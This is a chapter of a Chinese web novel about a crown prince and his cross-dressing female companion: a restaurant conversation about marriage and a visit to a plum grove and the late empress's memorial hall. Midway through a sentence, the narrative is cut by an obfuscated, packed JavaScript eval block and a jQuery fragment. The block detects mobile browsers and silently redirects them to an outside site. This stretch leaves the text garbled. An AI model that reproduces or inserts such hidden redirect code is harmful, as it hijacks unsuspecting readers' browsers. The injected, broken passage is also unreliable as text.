31.”推心置腹“

作品:《太子又在自我攻略了

    一开始沈明还没有反应过来李琮的话,什么配不配的?


    明白过来李琮在说什么后,沈明只觉哭笑不得,但看着一本正经地与她聊这些闲散话题的李琮,她也起了捉弄之心,于是故意道:“是吗?我也只是个六品小官之子,应该还算相配吧?”


    李琮见他默认了,不知为何,没有想象中的如释重负,反而心中好似被什么东西蒙上了一层。


    他想,应该是由于这个女子确实与沈明不相配,他不愿见沈明日后后悔:“你是我看重的人,以后会有更好的前程,应该择一位贤淑的高门妻子,日后也能为你助力。”


    沈明继续逗他:“敢问少爷,多高才算高呢?”


    李琮竟真的顺着沈明的话想了起来,如今朝中的重臣,家中有哪些适龄女子可与沈明相配……


    但高门中的女子,自小娇生惯养,性格难免倨傲些,沈明性子柔和,不喜争端,两者处在一处不用说吃亏的肯定是沈明。


    想了半晌,也没有想到合适的人选,李琮只好说:“你尽管放心,再过两年我一定为你寻一门最恰当的亲事。”


    “这位云娘却是不合适。”


    看着他那样认真,好似她的亲事是一件顶顶重要的事,值得他反复斟酌上两年,沈明不敢也不忍再捉弄他了。


    当下便说:“殿下误会了。”


    自己只是欣喜于云娘的转变,高兴这世上又有一个好女子于逆境中起身。


    李琮不解,云娘如同陆吾调查的那样,容貌姣好,今日一见气质也不俗,他相信这样的女子,对大多数男子来说都是有吸引力的。


    于是继续问沈明:“为什么不喜欢她?”


    见李琮非要问到底,沈明歪着头想了想,说:“我没有不喜欢她。”


    “我很欣赏她。”


    “我认为她很厉害,经历了磨难却没有被打倒,有放下一切重新开始的勇气。”


    “我很佩服她。”


    李琮:“……”


    李琮没有预想会听到这样一番话。


    如沈明所说,在他看来如此好的一个女子,他竟没有半分心动,这也说明他的心很可能已经毫无保留地给了旁的人。


    话赶话说到了这里,趁这时气氛正好,沈明也想问问她一直惦记着的太子的事:“少爷呢?你喜欢的是什么样的人?”


    李琮乍然被问回来,愣了好一下才反应过来自己在他和谢逸那里是顶着一个“已有心仪之人”的名头的,不禁有些头痛,当时的自己昏了头,为了搪塞两人不得已才胡乱说的,现在要他如何现编一个出来……


    又或者,李琮神思一动,他可以借这个机会探一下沈明的真实想法。


    “他……身份特殊。”


    沈明心中连连点头,当然特殊,不特殊你也不至于如此为难啊。


    “我们很可能……为世俗所不容。”


    沈明眼睛都睁大了,世俗不容这么严重?那应该不是简单的年龄、家世问题了吧?


    “但……我心中,又实在割舍不下他……”


    沈明皱眉,事情比她想象的要严重,按照太子前两条说的,两人绝不可能成事,但太子又不愿放手,这可真是相当棘手了……


    但太子是他的顶头上官,她的性命与前程,与为爹爹翻案的希望,全系于太子一身。


    如今太子既然愿意告知她,这是对她的信任,也是对她的考验,所以她必须帮太子想法子,圆了他这份念想。


    沈明试探着开口:“有时候两人之间的感情也不一定非要摆在明面上吧?”


    你们私下偷偷地在一起,只要不被永熙帝发现,谁又能管得着你们呢?


    李琮眉梢倏地一挑,没想到看着光风霁月的小沈伴读,竟会有如此不负责任的轻浮心思。


    被他“没想到你小子还有这副面孔”的表情看着,沈明也有些讪讪。


    李琮暂且放过他,收回视线,看着眼前的茶杯,继续说:“他……似乎也不愿。”


    这下震惊的人换成了沈明,竟还是太子在一厢情愿,这个人到底是谁啊,沈明的好奇一时简直上升到了顶点。


    不过,考虑到太子的身份,大概率那人还是只能受制于太子的,虽然自己要为太子着想,但是也不可为难人家好女子。


    故而沈明便委婉道:“这事自然要两厢情愿才好,少爷可以坚持以真情令对方动容。在下相信,只要您实打实地对那位好,她自是看在眼里,终会被焐热的。”


    李琮听着他不断说出的真实想法与“对付”自己的好主意,心中五味俱全,一时怔然失语,半晌连一个字也说不出来。


    这时饭菜终于上来了,宝平有眼色地将那云娘拦在了外面,没有让进来,而是自己一盘盘将菜送上来,最后关上了门。


    不论心中如何想的,云娘面上一点没带出来,只笑容可掬地对宝平说:“贵客有事随时喊我。”便在陆吾的盯视中识时务地下去了。


    屋内李琮见菜上来,松了一口气,他竟有些不敢再听沈明说下去了。


    聚珍楼的菜闻名京城,味道自是不俗。只可惜桌上的两人经过了方才的一番“推心置腹”,此刻心思都不在这桌菜上。


    吃完了一顿不知味的饭,两人便下楼离去,刚上了马车,便见云娘追上来想要说什么,沈明还以为她还想着报恩,便对她摆手示意不用了。


    沈明刚一坐回来,马车便向前走了。


    看着马车走远了,云娘不禁跺脚,她还没来得及告诉恩公她的新名字啊。


    车内,李琮对沈明说:“好不容易出来一次,咱们再去哪里逛逛?”


    沈明也想带着很少出门的太子逛逛外面,但是她之前常逛的那些首饰、衣裳店肯定是不行的,其他的她逛得也不多。更重要的,太子的安全……


    见他表情迟疑,李琮也明白过来,于是跟他说:“放心,孤偶尔也会出宫来看看的,暗中也一直有侍卫跟着咱们。”


    沈明稍微放了一点心,想了想说:“那咱们去城西转一圈吧,大昭寺的梅花说不定已经开了。”


    城西其实没有什么好逛的,没有热闹的街道和引人垂涎的美食,只有一个大昭寺还算出名。


    马车很快到了大昭寺附近,如今已是初冬,寺外的寒梅果然已有三两支迫不及待地开放了。


    两人下车在梅林中缓缓走着。


    许是长在寺庙附近多年被熏陶,几株白梅在朱红色寺庙墙壁的映


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148928|196226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衬下,竟也颇有几分禅意。


    “你信佛吗?”已经到了寺庙门口,两人却都没有进去的意思,李琮随口与沈明闲聊着。


    沈明以前是不信的。


    可自从做了那个离奇的梦,深夜无人时,沈明也曾在反复思忖:自己到底只是大梦一场,还是真的死去又活过来一次?


    就如同那佛经里所说的三千世界。


    “臣大概是顺其自然吧。”沈明洒脱地说,“微臣母亲经常来寺里上香,微臣常陪伴她过来。”


    又带着他特有的一分灵动:“平日不会专门拜佛,但是心中焦虑时,也会向佛祖他老人家寻求安慰。”


    李琮微微一笑:“孤其实不信,但是孤的母后信念虔诚。”


    沈明接话:“臣也听说先孝安皇后精通佛理。”


    许是此刻气氛正好,让李琮也愿意开口说些回忆:“母后身在宫中,不比你们自由,所以专门请大昭寺的大师在宫中设了一个小佛堂,日日念经祈福。”


    沈明:“微臣还听说先孝安皇后故去后,陛下为缅怀皇后,特意在宫中建造了孝安佛堂。佛堂集天下珍材所造,精巧华贵。”


    李琮听了这话却没有多大反应,只点了点头。


    沈明只好顺势继续说:“不知臣是否有荣幸能去孝安佛堂一观?”他担心这地方对太子有特殊意义,不愿让外人踏足。


    李琮顿了一瞬,才回答:“可以。”


    太子的反应有些奇怪,不像是不情愿,也不像是情愿,沈明有些疑惑,但总是松了口,沈明也放下了心。


    两人在寺外看了会景色,到底没有进入寺庙内,而后便回了宫。


    李琮看现在天色也不晚,便对宝平说:“去佛堂。”


    沈明心下微讶,没想到太子要亲自带他过去,她原本想的是有了太子的首肯这两日寻个空隙自己过去细细查探一番。


    马车直接越过东宫,在不远处一个宫门处停下。


    刚一进去,沈明就被这座华贵的佛堂镇住了。


    原本说是佛堂,她还以为只是占用了一间宫殿,没想到实物看上去更像一座小型的宝塔。有两层房屋那样高,门口铺着洁白的白玉台阶,琉璃覆顶,孔雀蓝瓦当映着天空熠熠生辉,塔外挂着一块金色牌匾,上书“孝安佛堂”。


    沈明不由屏气凝神,跟在李琮身后,轻声地进入了佛堂内,里面只有几个上了年纪的嬷嬷守着,李琮摆手,她们几人便无声地躬身行礼后退了出去,整座佛堂中便只剩下李琮和沈明二人。


    佛堂并不是两层,而是被刻意挑高,站在其中更显空旷寂寥。


    沈明的视线先是被正中央端坐莲台宝相庄严的佛像吸引,接着又看见了一侧挂着的先孝安皇后画像。


    沈明仔细看那画像,太子的一双凤眼和画像上如出一辙,只不过孝安皇后的眼中透着宽仁和悲悯,太子的眼中则偶尔闪过一丝深晦。


    沈明第一次拜见先孝安皇后,为表尊敬,便拿过几支香,点燃,闭目,心内默然向逝者问候。


    隔着缭绕升起的香雾,李琮目光沉沉地看着那人柔和的轮廓显得格外沉敛,竟似有几分神性。


    在沈明睁开眼睛前一瞬,李琮收回了视线。